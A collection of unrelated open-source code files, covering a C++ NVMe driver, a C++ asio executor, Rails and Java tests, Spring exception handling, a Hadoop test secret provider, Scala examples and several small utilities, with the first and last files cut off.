detach_event(sn);
return 0;
}
int
UnvmeDrv::DeviceAttached(struct spdk_nvme_ns* ns, int nsid,
const spdk_nvme_transport_id* trid)
{
int ret = 0;
std::string deviceName = DEVICE_NAME_PREFIX + std::to_string(nsid);
if (nullptr != attach_event)
{
uint64_t diskSize = spdkNvmeCaller->SpdkNvmeNsGetSize(ns);
UblockSharedPtr dev = make_shared<UnvmeSsd>(deviceName, diskSize, this,
ns, trid->traddr);
POS_EVENT_ID eventId = POS_EVENT_ID::UNVME_SSD_DEBUG_CREATED;
POS_TRACE_DEBUG(eventId, PosEventId::GetString(eventId), deviceName);
attach_event(dev);
}
else
{
POS_EVENT_ID eventId = POS_EVENT_ID::UNVME_SSD_ATTACH_NOTIFICATION_FAILED;
POS_TRACE_ERROR(eventId, PosEventId::GetString(eventId), deviceName);
ret = (int)eventId;
}
nvmeSsd->Resume();
return ret;
}
int
UnvmeDrv::ScanDevs(vector<UblockSharedPtr>* devs)
{
return unvmeMgmt.ScanDevs(devs, nvmeSsd, this);
}
bool
UnvmeDrv::Open(DeviceContext* deviceContext)
{
return unvmeMgmt.Open(deviceContext);
}
bool
UnvmeDrv::Close(DeviceContext* deviceContext)
{
return unvmeMgmt.Close(deviceContext);
}
int
UnvmeDrv::_SubmitAsyncIOInternal(UnvmeDeviceContext* deviceContext,
UnvmeIOContext* ioCtx)
{
int retValue = 0, retValueComplete = 0;
int completions = 0;
ioCtx->ClearAsyncIOCompleted();
deviceContext->IncreasePendingIO();
retValue = unvmeCmd->RequestIO(deviceContext, AsyncIOComplete, ioCtx);
if (unlikely(-ENOMEM == retValue)) // Usually ENOMEM means the submissuion queue is full
{
if (unlikely(UNVME_DRV_OUT_OF_MEMORY_RETRY_LIMIT ==
ioCtx->GetOutOfMemoryRetryCount()))
{
// submission timed out.
POS_EVENT_ID eventId = POS_EVENT_ID::UNVME_SUBMISSION_RETRY_EXCEED;
uint64_t offset = 0, sectorCount = 0;
offset = ioCtx->GetStartSectorOffset();
sectorCount = ioCtx->GetSectorCount();
POS_TRACE_WARN(static_cast<int>(eventId),
PosEventId::GetString(eventId),
offset,
sectorCount,
ioCtx->GetDeviceName(),
spdkNvmeCaller->SpdkNvmeNsGetId(deviceContext->ns));
}
retValueComplete = _CompleteIOs(deviceContext, ioCtx);
if (0 < retValueComplete)
{
completions += retValueComplete;
}
else
{
spdk_nvme_ctrlr* ctrl =
spdkNvmeCaller->SpdkNvmeNsGetCtrlr(deviceContext->ns);
if (spdkNvmeCaller->SpdkNvmeCtrlrIsFailed(ctrl))
{
retValue = -ENXIO;
}
}
}
if (unlikely(0 > retValue))
{
struct spdk_nvme_cpl completion;
completion.status.sct = SPDK_NVME_SCT_GENERIC;
completion.status.sc = SPDK_NVME_SC_INTERNAL_DEVICE_ERROR;
if (likely(retValue == -ENOMEM))
{
ioCtx->SetOutOfMemoryError(true);
}
AsyncIOComplete(ioCtx, &completion);
}
return completions;
}
int
UnvmeDrv::SubmitAsyncIO(DeviceContext* deviceContext, UbioSmartPtr bio)
{
UnvmeDeviceContext* devCtx =
static_cast<UnvmeDeviceContext*>(deviceContext);
uint32_t retryCount = 0;
CallbackSmartPtr callback = bio->GetCallback();
bool frontEnd = false;
if (callback != nullptr)
{
frontEnd = callback->IsFrontEnd();
}
if (frontEnd)
{
retryCount = nvmeSsd->GetRetryCount(RetryType::RETRY_TYPE_FRONTEND);
}
else
{
retryCount = nvmeSsd->GetRetryCount(RetryType::RETRY_TYPE_BACKEND);
}
UnvmeIOContext* ioCtx =
new UnvmeIOContext(devCtx, bio, retryCount, frontEnd);
return _SubmitAsyncIOInternal(devCtx, ioCtx);
}
int
UnvmeDrv::CompleteIOs(DeviceContext* deviceContext)
{
return _CompleteIOs(deviceContext, nullptr);
}
int
UnvmeDrv::_CompleteIOs(DeviceContext* deviceContext,
UnvmeIOContext* ioCtxToSkip)
{
UnvmeDeviceContext* devCtx =
static_cast<UnvmeDeviceContext*>(deviceContext);
uint32_t completionCount = 0;
devCtx->ioCompletionCount = 0;
int returnCode = 0;
if (unlikely(!devCtx->IsAdminCommandPendingZero()))
{
spdk_nvme_ctrlr* ctrlr =
spdkNvmeCaller->SpdkNvmeNsGetCtrlr(devCtx->ns);
returnCode =
spdkNvmeCaller->SpdkNvmeCtrlrProcessAdminCompletions(ctrlr);
if (0 < returnCode)
{
completionCount = devCtx->ioCompletionCount;
return completionCount;
}
}
// if admin command is failed to completion (including not-yet-processed)
// Also try to complete io.
returnCode =
spdkNvmeCaller->SpdkNvmeQpairProcessCompletions(devCtx->ioQPair, 0);
if (likely(0 <= returnCode))
{
completionCount = devCtx->ioCompletionCount;
}
return completionCount;
}
int
UnvmeDrv::CompleteErrors(DeviceContext* deviceContext)
{
int completionCount = 0;
IOContext* ioCtx = deviceContext->GetPendingError();
if (nullptr != ioCtx)
{
deviceContext->RemovePendingError(*ioCtx);
if (ioCtx->GetOutOfMemoryRetryCount() != 0)
{
UnvmeDeviceContext* unvmeDevCtx =
static_cast<UnvmeDeviceContext*>(deviceContext);
UnvmeIOContext* unvmeIoCtx = static_cast<UnvmeIOContext*>(ioCtx);
completionCount = _SubmitAsyncIOInternal(unvmeDevCtx, unvmeIoCtx);
return completionCount;
}
else if (ioCtx->CheckAndDecreaseErrorRetryCount() == true)
{
POS_EVENT_ID eventId = POS_EVENT_ID::UNVME_DEBUG_RETRY_IO;
POS_TRACE_INFO(eventId, PosEventId::GetString(eventId),
ioCtx->GetStartSectorOffset(),
ioCtx->GetSectorCount(),
static_cast<int>(ioCtx->GetOpcode()),
ioCtx->GetDeviceName());
UnvmeDeviceContext* unvmeDevCtx =
static_cast<UnvmeDeviceContext*>(deviceContext);
UnvmeIOContext* unvmeIoCtx = static_cast<UnvmeIOContext*>(ioCtx);
completionCount = _SubmitAsyncIOInternal(unvmeDevCtx, unvmeIoCtx);
return completionCount;
}
else
{
ioCtx->CompleteIo(IOErrorType::GENERIC_ERROR);
}
delete ioCtx;
completionCount++;
}
return completionCount;
}
} // namespace pos
|
graphia/publish-teacher-training | spec/features/courses/study_mode/edit_spec.rb | <filename>spec/features/courses/study_mode/edit_spec.rb
require "rails_helper"
feature "Edit course study mode", type: :feature do
let(:current_recruitment_cycle) { build(:recruitment_cycle) }
let(:study_mode_page) { PageObjects::Page::Organisations::CourseStudyMode.new }
let(:course_details_page) { PageObjects::Page::Organisations::CourseDetails.new }
let(:course_request_change_page) { PageObjects::Page::Organisations::CourseRequestChange.new }
let(:provider) { build(:provider) }
before do
signed_in_user
stub_api_v2_resource(current_recruitment_cycle)
stub_api_v2_resource(provider, include: "courses.accrediting_provider")
stub_api_v2_resource(provider)
stub_api_v2_resource(course, include: "subjects,sites,provider.sites,accrediting_provider")
stub_api_v2_resource(course)
study_mode_page.load_with_course(course)
end
context "a full time of part time course" do
let(:course) do
build(
:course,
study_mode: "full_time_or_part_time",
provider: provider,
)
end
scenario "can navigate to the edit screen and back again" do
course_details_page.load_with_course(course)
click_on "Change if full or part time"
expect(study_mode_page).to be_displayed
click_on "Back"
expect(course_details_page).to be_displayed
end
scenario "presents a choice for each study mode" do
expect(study_mode_page).to have_study_mode_fields
expect(study_mode_page.study_mode_fields)
.to have_selector('[for="course_study_mode_full_time"]', text: "Full time")
expect(study_mode_page.study_mode_fields)
.to have_selector('[for="course_study_mode_part_time"]', text: "Part time")
expect(study_mode_page.study_mode_fields)
.to have_selector('[for="course_study_mode_full_time_or_part_time"]', text: "Full time or part time")
end
scenario "has the correct value selected" do
expect(study_mode_page.study_mode_fields)
.to have_field("course_study_mode_full_time_or_part_time", checked: true)
end
scenario "can be updated to a full time course" do
update_course_stub = stub_api_v2_request(
"/recruitment_cycles/#{course.recruitment_cycle.year}" \
"/providers/#{provider.provider_code}" \
"/courses/#{course.course_code}",
course.to_jsonapi,
:patch,
200,
)
choose("course_study_mode_full_time")
click_on "Save"
expect(course_details_page).to be_displayed
expect(course_details_page.flash).to have_content("Your changes have been saved")
expect(update_course_stub).to have_been_requested
end
scenario "It displays the correct title" do
expect(page.title).to start_with("Full time or part time?")
end
end
context "a full time course" do
let(:course) do
build(
:course,
study_mode: "full_time",
provider: provider,
)
end
scenario "updating to a full time of part time course" do
update_course_stub = stub_api_v2_request(
"/recruitment_cycles/#{course.recruitment_cycle.year}" \
"/providers/#{provider.provider_code}" \
"/courses/#{course.course_code}",
course.to_jsonapi,
:patch,
200,
)
choose("course_study_mode_full_time_or_part_time")
click_on "Save"
expect(update_course_stub).to have_been_requested
expect(course_details_page.flash).to have_content("Your changes have been saved")
end
scenario "It displays the correct title" do
expect(page.title).to start_with("Full time or part time")
end
end
end
|
AlSidorenko/Java_from_A_to_Z | Intern/chapter_001/src/test/java/ru/job4j/cycle_5/factorial_5_2/FactorialTest.java | <reponame>AlSidorenko/Java_from_A_to_Z
package ru.job4j.cycle_5.factorial_5_2;
import org.junit.Test;
import static org.hamcrest.core.Is.is;
import static org.junit.Assert.assertThat;
/**
* Created on 10.08.2018.
*
* @author <NAME> (<EMAIL>).
* @version $Id$.
* @since 0.1.
*/
public class FactorialTest {
/**
* Test - factorial 120.
*/
@Test
public void whenCalculateFactorialForFiveThenOneHundredTwenty() {
Factorial factorial = new Factorial();
int expected = factorial.calc(5);
int result = 120;
assertThat(expected, is(result));
}
/**
* Test - factorial 1.
*/
@Test
public void whenCalculateFactorialForZeroThenOne() {
Factorial factorial = new Factorial();
int expected = factorial.calc(0);
int result = 1;
assertThat(expected, is(result));
}
}
|
bronxc/refinery | refinery/units/obfuscation/vba/__init__.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
A package containing deobfuscators for Visual Basic for Applications (VBA).
"""
def string_unquote(string: str) -> str:
if string[0] != '"' or string[~0] != '"':
raise ValueError(string)
return string[1:~1].replace('""', '"')
def string_quote(string: str) -> str:
return '"{}"'.format(string.replace('"', '""'))
|
brugere/manager | packages/manager/apps/dedicated/client/app/account/user/emails/user-emails.service.js | <gh_stars>100-1000
export default /* @ngInject */ function UserAccountEmailsService(
$q,
coreConfig,
OvhHttp,
) {
const cache = {
models: 'UNIVERS_MODULE_OTRS_MODELS',
me: 'UNIVERS_MODULE_OTRS_ME',
emails: 'UNIVERS_MODULE_OTRS_EMAILS',
};
this.getModels = function getModels() {
return OvhHttp.get('/me.json', {
rootPath: 'apiv6',
cache: cache.models,
});
};
this.getMe = function getMe() {
return $q.when(coreConfig.getUser());
};
this.getEmails = function getEmails(opts) {
return OvhHttp.get('/me/notification/email/history', {
rootPath: 'apiv6',
cache: cache.emails,
clearAllCache: opts.forceRefresh,
});
};
this.getEmail = function getEmail(emailId) {
return OvhHttp.get('/me/notification/email/history/{emailId}', {
rootPath: 'apiv6',
urlParams: {
emailId,
},
});
};
}
|
jasnow/photish5 | lib/photish/core_plugin/breadcrumb.rb | module Photish::Plugin::Breadcrumb
def self.is_for?(type)
[
Photish::Plugin::Type::Collection,
Photish::Plugin::Type::Album,
Photish::Plugin::Type::Photo
].include?(type)
end
def breadcrumbs
html = "<ul class=\"breadcrumbs\">"
parents_and_me.each_with_index do |level, index|
html << "<li class=\"" << crumb_class(index) << "\">"
html << "<a href=\"" << level.url << "\">" << level.name << "</a>"
html << "</li>"
end
html << "</ul>"
end
def parents_and_me
@parents_and_me ||= [parent.try(:parents_and_me),
self].flatten.compact
end
private
def crumb_class(index)
crumb_class = 'breadcrumb'
crumb_class << ' crumb-' << index.to_s
crumb_class << ' crumb-first' if index == 0
crumb_class << ' crumb-last' if index == (parents_and_me.count - 1)
crumb_class << ' crumb-only' if parents_and_me.count == 1
crumb_class
end
end
|
Tiankx1003/Scala | spark-demo/scala/src/main/scala/com/tian/onclass/day04/high/MapDemo1.scala | <reponame>Tiankx1003/Scala
package com.tian.onclass.day04.high
/**
* map算子,一进一出
*
* @author tian
* 2019/9/7 14:29
*/
/*
map的作用:用来调整数据类型
*/
object MapDemo1 {
def main(args: Array[String]): Unit = {
val list1 = List(1, 2, 3, 4, 5)
//final override def map[B, That](f: A => B)(implicit bf: CanBuildFrom[List[A], B, That]): That
val list2 = list1.map(x => x * x)
val list3 = list1.map(x => (x, x * x))
println(list2)
println(list3)
val str = "abc".map(_ + 3)
println(str)
val lists = List(30, 50, 30)
println(lists.map(x => x))
// println(lists.map(_)) //TODO 见PartDemo部分引用函数
}
}
/*
foreach 和 map的区别
foreach 仅仅是对集合遍历
map 不仅对集合遍历,而且返回结果集合
一个集合map之后,长度不会增加,也不会减少
*/
|
AjayThorve/cuxfilter | python/cuXfilter/tests/test_mappers.py | from cuXfilter import charts
import cuXfilter
from bokeh import palettes
from cuXfilter.layouts import layout_1
cux_df = cuXfilter.DataFrame.from_arrow('/home/ajay/data/146M_predictions_v2.arrow')
mapper1 = {}
mapper2 = {}
for val in cux_df.data.dti.unique().to_pandas().tolist():
mapper1[int(val)] = 'l_'+str(val)
for val in cux_df.data.borrower_credit_score.unique().to_pandas().tolist():
if int(val) <500:
mapper2[int(val)] = 'less'
elif int(val)>=500 and int(val)<600:
mapper2[int(val)] = 'medium'
elif int(val)>=600 and int(val)<750:
mapper2[int(val)] = 'good'
else:
mapper2[int(val)] = 'great'
chart0 = charts.bokeh.choropleth(x='zip', y='delinquency_12_prediction', aggregate_fn='mean',
geo_color_palette=palettes.Inferno256,
geoJSONSource = 'https://raw.githubusercontent.com/rapidsai/cuxfilter/master/demos/GTC%20demo/src/data/zip3-ms-rhs-lessprops.json',
data_points=1000, width=1100, x_range=(-126, -66), y_range=(23, 50))
# chart1 = charts.bokeh.bar('dti',dasta_points=50, width=400, height=400, x_label_map=mapper1)
# chart1 = charts.bokeh.bar('delinquency_12_prediction',y='borrower_credit_score',aggregate_fn='mean', data_points=50, width=400, height=400, y_label_map=mapper2)
chart2 = charts.panel_widgets.multi_select('dti',data_points=50, width=400, height=400, label_map=mapper1)
chart3 = charts.bokeh.bar('borrower_credit_score',data_points=50, width=400, height=400)
d = cux_df.dashboard([chart0, chart2, chart3], layout=layout_1)
# d.add_charts([chart0])
d.show() |
ballTeams/balls | mobile/src/actions/notice.js | <filename>mobile/src/actions/notice.js
export const NOTICE_MAIN_GET = 'NOTICE_MAIN_GET';
export let noticeMain = (data) => {
return {
type: NOTICE_MAIN_GET,
data
}
} |
ankurshukla1993/IOT-test | coeey/com/google/android/gms/common/internal/zzcb.java | package com.google.android.gms.common.internal;
import android.content.Context;
import android.content.res.Resources.NotFoundException;
import android.util.AttributeSet;
import android.util.Log;
import android.util.TypedValue;
public final class zzcb {
public static String zza(String str, String str2, Context context, AttributeSet attributeSet, boolean z, boolean z2, String str3) {
String attributeValue = attributeSet == null ? null : attributeSet.getAttributeValue(str, str2);
if (attributeValue == null || !attributeValue.startsWith("@string/")) {
return attributeValue;
}
String substring = attributeValue.substring(8);
String packageName = context.getPackageName();
TypedValue typedValue = new TypedValue();
try {
context.getResources().getValue(new StringBuilder((String.valueOf(packageName).length() + 8) + String.valueOf(substring).length()).append(packageName).append(":string/").append(substring).toString(), typedValue, true);
} catch (NotFoundException e) {
Log.w(str3, new StringBuilder((String.valueOf(str2).length() + 30) + String.valueOf(attributeValue).length()).append("Could not find resource for ").append(str2).append(": ").append(attributeValue).toString());
}
if (typedValue.string != null) {
return typedValue.string.toString();
}
substring = String.valueOf(typedValue);
Log.w(str3, new StringBuilder((String.valueOf(str2).length() + 28) + String.valueOf(substring).length()).append("Resource ").append(str2).append(" was not a string: ").append(substring).toString());
return attributeValue;
}
}
|
bndly/bndly-commons | schema/schema-impl/src/main/java/org/bndly/schema/impl/persistence/TypeTableInsert.java | package org.bndly.schema.impl.persistence;
/*-
* #%L
* Schema Impl
* %%
* Copyright (C) 2013 - 2020 Cybercon GmbH
* %%
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* #L%
*/
import org.bndly.schema.api.Logic;
import org.bndly.schema.api.ObjectReference;
import org.bndly.schema.api.Record;
import org.bndly.schema.api.RollbackHandler;
import org.bndly.schema.api.Transaction;
import org.bndly.schema.api.db.AttributeColumn;
import org.bndly.schema.api.db.TypeTable;
import org.bndly.schema.api.query.Insert;
import org.bndly.schema.api.query.Query;
import org.bndly.schema.api.query.QueryContext;
import org.bndly.schema.impl.AccessorImpl;
import org.bndly.schema.impl.EngineImpl;
import org.bndly.schema.impl.UpdateQuery;
import org.bndly.schema.impl.UpdateQueryImpl;
import org.bndly.schema.model.Attribute;
import org.bndly.schema.model.BinaryAttribute;
import java.util.List;
/**
* This transaction appender will append an INSERT statement for the type table of the provided record to the transaction
* @author cybercon <<EMAIL>>
*/
public class TypeTableInsert implements TransactionAppender {
public static final TypeTableInsert INSTANCE = new TypeTableInsert();
@Override
public void append(Transaction tx, final Record record, EngineImpl engine) {
QueryContext qc = engine.getQueryContextFactory().buildQueryContext();
Insert insert = qc.insert();
// insert values into typeTable
final TypeTable table = engine.getTableRegistry().getTypeTableByType(record.getType());
insert.into(table.getTableName());
List<AttributeColumn> columns = table.getColumns();
for (AttributeColumn attributeColumn : columns) {
final Attribute attribute = attributeColumn.getAttribute();
if (record.isAttributePresent(attribute.getName()) && !BinaryAttribute.class.isInstance(attribute)) {
AccessorImpl.appendValueToInsert(insert, attributeColumn, record, engine.getMediatorRegistry());
}
}
Query q = qc.build(record.getContext());
UpdateQuery uq = new UpdateQueryImpl(q) {
@Override
public AttributeColumn getPrimaryKeyColumn() {
return table.getPrimaryKeyColumn();
}
};
final ObjectReference<Long> idRef = tx.getQueryRunner().number(uq, uq.getPrimaryKeyColumn().getColumnName());
tx.add(new Logic() {
@Override
public void execute(Transaction transaction) {
record.setId(idRef.get());
}
});
tx.afterRollback(new RollbackHandler() {
@Override
public void didRollback(Transaction transaction) {
record.setId(null);
}
});
}
}
|
wt201501/ytlib | ytlib/boost_asio/asio_tools.hpp | <filename>ytlib/boost_asio/asio_tools.hpp
/**
* @file asio_tools.hpp
* @brief asio工具类
* @note asio执行工具类,封装了asio的一般使用模式
* @author WT
* @date 2021-08-05
*/
#pragma once
#include <functional>
#include <list>
#include <memory>
#include <thread>
#include <vector>
#include <boost/asio.hpp>
#include "ytlib/misc/misc_macro.h"
#include "ytlib/thread/thread_id.hpp"
namespace ytlib {
/**
* @brief asio执行工具
* @note 使用时先调用RegisterSvrFunc注册子服务的启动、停止方法,
* 然后调用Start方法异步启动,之后可以调用join方法,等待kill信号或其他异步程序里调用Stop方法结束整个服务。
* 并不会调用asio的stop方法,只会调用注册的stop方法,等各个子服务自己停止。
* @tparam THREADS_NUM 线程数
*/
template <std::uint32_t THREADS_NUM = 1>
class AsioExecutor {
public:
AsioExecutor() : io_ptr_(std::make_shared<boost::asio::io_context>(THREADS_NUM)),
signals_(*io_ptr_, SIGINT, SIGTERM) {
static_assert(THREADS_NUM >= 1);
}
~AsioExecutor() noexcept {
try {
Join();
} catch (const std::exception& e) {
DBG_PRINT("AsioExecutor destruct get exception, %s", e.what());
}
}
AsioExecutor(const AsioExecutor&) = delete; ///< no copy
AsioExecutor& operator=(const AsioExecutor&) = delete; ///< no copy
/**
* @brief 注册svr的start、stop方法
* @note 越早注册的start func越早执行,越早注册的stop func越晚执行
* @param[in] start_func 子服务启动方法,一般在其中起一个启动协程
* @param[in] stop_func 子服务结束方法,需要保证可以重复调用
*/
void RegisterSvrFunc(std::function<void()>&& start_func, std::function<void()>&& stop_func) {
if (start_func) start_func_vec_.emplace_back(std::move(start_func));
if (stop_func) stop_func_vec_.emplace_back(std::move(stop_func));
}
/**
* @brief 开始运行
* @note 异步,会调用注册的start方法并启动指定数量的线程
*/
void Start() {
if (std::atomic_exchange(&start_flag_, true)) return;
for (size_t ii = 0; ii < start_func_vec_.size(); ++ii) {
start_func_vec_[ii]();
}
start_func_vec_.clear();
signals_.async_wait([&](auto, auto) { Stop(); });
auto run_func = [this] {
DBG_PRINT("AsioExecutor thread %llu start.", ytlib::GetThreadId());
try {
io_ptr_->run();
} catch (const std::exception& e) {
DBG_PRINT("AsioExecutor thread %llu get exception %s.", ytlib::GetThreadId(), e.what());
}
DBG_PRINT("AsioExecutor thread %llu exit.", ytlib::GetThreadId());
};
for (uint32_t ii = 0; ii < THREADS_NUM; ++ii) {
threads_.emplace(threads_.end(), run_func);
}
}
/**
* @brief join
* @note 阻塞直到所有线程退出
*/
void Join() {
for (auto itr = threads_.begin(); itr != threads_.end();) {
if (itr->joinable())
itr->join();
threads_.erase(itr++);
}
}
/**
* @brief 停止
* @note 异步,会调用注册的stop方法
*/
void Stop() {
if (std::atomic_exchange(&stop_flag_, true)) return;
// 并不需要调用io_.stop()。当io_上所有任务都运行完毕后,会自动停止
for (size_t ii = stop_func_vec_.size() - 1; ii < stop_func_vec_.size(); --ii) {
stop_func_vec_[ii]();
}
stop_func_vec_.clear();
signals_.cancel();
signals_.clear();
}
/**
* @brief 获取io
* @return io_context
*/
std::shared_ptr<boost::asio::io_context> IO() { return io_ptr_; }
private:
std::atomic_bool start_flag_ = false;
std::atomic_bool stop_flag_ = false;
std::shared_ptr<boost::asio::io_context> io_ptr_;
boost::asio::signal_set signals_;
std::list<std::thread> threads_;
std::vector<std::function<void()> > start_func_vec_;
std::vector<std::function<void()> > stop_func_vec_;
};
} // namespace ytlib
|
dmgerman/hadoop | hadoop-common-project/hadoop-auth/src/test/java/org/apache/hadoop/security/authentication/util/StringSignerSecretProvider.java | <filename>hadoop-common-project/hadoop-auth/src/test/java/org/apache/hadoop/security/authentication/util/StringSignerSecretProvider.java
begin_unit|revision:0.9.5;language:Java;cregit-version:0.0.1
begin_comment
comment|/** * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. See accompanying LICENSE file. */
end_comment
begin_package
DECL|package|org.apache.hadoop.security.authentication.util
package|package
name|org
operator|.
name|apache
operator|.
name|hadoop
operator|.
name|security
operator|.
name|authentication
operator|.
name|util
package|;
end_package
begin_import
import|import
name|java
operator|.
name|nio
operator|.
name|charset
operator|.
name|Charset
import|;
end_import
begin_import
import|import
name|java
operator|.
name|util
operator|.
name|Properties
import|;
end_import
begin_import
import|import
name|javax
operator|.
name|servlet
operator|.
name|ServletContext
import|;
end_import
begin_import
import|import
name|com
operator|.
name|google
operator|.
name|common
operator|.
name|annotations
operator|.
name|VisibleForTesting
import|;
end_import
begin_import
import|import
name|org
operator|.
name|apache
operator|.
name|hadoop
operator|.
name|classification
operator|.
name|InterfaceAudience
import|;
end_import
begin_import
import|import
name|org
operator|.
name|apache
operator|.
name|hadoop
operator|.
name|classification
operator|.
name|InterfaceStability
import|;
end_import
begin_import
import|import
name|org
operator|.
name|apache
operator|.
name|hadoop
operator|.
name|security
operator|.
name|authentication
operator|.
name|server
operator|.
name|AuthenticationFilter
import|;
end_import
begin_comment
comment|/** * A SignerSecretProvider that simply creates a secret based on a given String. */
end_comment
begin_class
annotation|@
name|InterfaceStability
operator|.
name|Unstable
annotation|@
name|VisibleForTesting
DECL|class|StringSignerSecretProvider
class|class
name|StringSignerSecretProvider
extends|extends
name|SignerSecretProvider
block|{
DECL|field|secret
specifier|private
name|byte
index|[]
name|secret
decl_stmt|;
DECL|field|secrets
specifier|private
name|byte
index|[]
index|[]
name|secrets
decl_stmt|;
DECL|method|StringSignerSecretProvider ()
specifier|public
name|StringSignerSecretProvider
parameter_list|()
block|{}
annotation|@
name|Override
DECL|method|init (Properties config, ServletContext servletContext, long tokenValidity)
specifier|public
name|void
name|init
parameter_list|(
name|Properties
name|config
parameter_list|,
name|ServletContext
name|servletContext
parameter_list|,
name|long
name|tokenValidity
parameter_list|)
throws|throws
name|Exception
block|{
name|String
name|signatureSecret
init|=
name|config
operator|.
name|getProperty
argument_list|(
name|AuthenticationFilter
operator|.
name|SIGNATURE_SECRET
argument_list|,
literal|null
argument_list|)
decl_stmt|;
name|secret
operator|=
name|signatureSecret
operator|.
name|getBytes
argument_list|(
name|Charset
operator|.
name|forName
argument_list|(
literal|"UTF-8"
argument_list|)
argument_list|)
expr_stmt|;
name|secrets
operator|=
operator|new
name|byte
index|[]
index|[]
block|{
name|secret
block|}
expr_stmt|;
block|}
annotation|@
name|Override
DECL|method|getCurrentSecret ()
specifier|public
name|byte
index|[]
name|getCurrentSecret
parameter_list|()
block|{
return|return
name|secret
return|;
block|}
annotation|@
name|Override
DECL|method|getAllSecrets ()
specifier|public
name|byte
index|[]
index|[]
name|getAllSecrets
parameter_list|()
block|{
return|return
name|secrets
return|;
block|}
block|}
end_class
end_unit
|
theBoyMo/NoteSavingApp | app/src/main/java/com/example/demo/ui/fragment/PlaceHolderFragment.java | <gh_stars>0
package com.example.demo.ui.fragment;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import com.example.demo.R;
public class PlaceHolderFragment extends BaseFragment{
/** The fragment argument representing the section number for this fragment. */
private static final String VIEW_PAGER_POSITION = "view_pager_position";
public PlaceHolderFragment() { }
/** Returns a new instance of this fragment for the given section number. */
public static PlaceHolderFragment newInstance(int position) {
PlaceHolderFragment fragment = new PlaceHolderFragment();
Bundle args = new Bundle();
args.putInt(VIEW_PAGER_POSITION, position);
fragment.setArguments(args);
return fragment;
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.fragment_place_holder, container, false);
TextView textView = (TextView) view.findViewById(R.id.fragment_number);
textView.setText(String.valueOf(getArguments().getInt(VIEW_PAGER_POSITION) + 1));
return view;
}
}
|
gongjunbing/short_url | url-common/src/main/java/com/gong/url/exception/GlobalExceptionHandler.java | package com.gong.url.exception;
import com.gong.url.response.GlobalResponseCodeEnum;
import lombok.extern.slf4j.Slf4j;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.MethodArgumentNotValidException;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.validation.ConstraintViolationException;
import java.util.HashMap;
import java.util.Map;
/**
* 全局异常拦截
*
* @author gongjunbing
* @date 2020/03/12 23:48
**/
@ControllerAdvice
@ResponseBody
@Slf4j
public class GlobalExceptionHandler {
/**
* 自定义异常处理
*
* @param ex 自定义异常
* @param request 请求
* @return ResponseEntity<ErrorResponse>
*/
@ExceptionHandler(BaseException.class)
public ResponseEntity<ErrorResponse> handleBaseException(BaseException ex, HttpServletRequest request) {
String path = request.getRequestURI();
ErrorResponse response = new ErrorResponse(ex, path);
return new ResponseEntity<>(response, new HttpHeaders(), HttpStatus.OK);
}
/**
* 自定义异常处理
*
* @param ex 自定义异常
* @param request 请求
* @return ResponseEntity<ErrorResponse>
*/
@ExceptionHandler(RuntimeException.class)
public ResponseEntity<ErrorResponse> handleRuntimeException(RuntimeException ex, HttpServletRequest request) {
String path = request.getRequestURI();
ErrorResponse response = new ErrorResponse(GlobalResponseCodeEnum.INTERNAL_SERVER_ERROR.getCode(), GlobalResponseCodeEnum.INTERNAL_SERVER_ERROR.getMessage(), path, null);
return new ResponseEntity<>(response, new HttpHeaders(), HttpStatus.OK);
}
/**
* 参数验证失败异常处理
*
* @param ex MethodArgumentNotValidException
* @param request 请求
* @return ResponseEntity<ErrorResponse>
*/
@ExceptionHandler(MethodArgumentNotValidException.class)
public ResponseEntity<ErrorResponse> handleValidationMethodArgumentNotValidException(MethodArgumentNotValidException ex, HttpServletRequest request) {
String path = request.getRequestURI();
Map<String, String> errors = new HashMap<>(16);
ex.getBindingResult().getFieldErrors().forEach((error) -> {
String fieldName = error.getField();
String errorDefaultMessage = error.getDefaultMessage();
if (!errors.containsKey(fieldName)) {
errors.put(fieldName, errorDefaultMessage);
}
});
log.debug("参数校验失败:" + errors.toString());
ErrorResponse response = new ErrorResponse(new BadRequestException(errors), path);
return new ResponseEntity<>(response, new HttpHeaders(), HttpStatus.OK);
}
/**
* 参数验证失败异常处理
*
* @param ex ConstraintViolationException
* @param request 请求
* @return ResponseEntity<ErrorResponse>
*/
@ExceptionHandler(ConstraintViolationException.class)
public ResponseEntity<ErrorResponse> handleConstraintViolationException(ConstraintViolationException ex, HttpServletRequest request) {
String path = request.getRequestURI();
Map<String, String> errors = new HashMap<>(16);
String message = ex.getMessage();
if (StringUtils.hasLength(message)) {
String[] fields = message.split(":");
if (fields.length > 1) {
errors.put(fields[0].trim(), fields[1].trim());
}
}
log.debug("参数校验失败:" + errors.toString());
ErrorResponse response = new ErrorResponse(new BadRequestException(errors), path);
return new ResponseEntity<>(response, new HttpHeaders(), HttpStatus.BAD_REQUEST);
}
}
|
kami-lang/madex-r8 | src/test/java/com/android/tools/r8/cf/BasicBlockMuncherQuadraticTest.java | // Copyright (c) 2019, the R8 project authors. Please see the AUTHORS file
// for details. All rights reserved. Use of this source code is governed by a
// BSD-style license that can be found in the LICENSE file.
package com.android.tools.r8.cf;
import com.android.tools.r8.TestBase;
import java.util.Arrays;
import org.junit.Test;
public class BasicBlockMuncherQuadraticTest extends TestBase {
@Test
public void testQuadratic() throws Exception {
long start = System.currentTimeMillis();
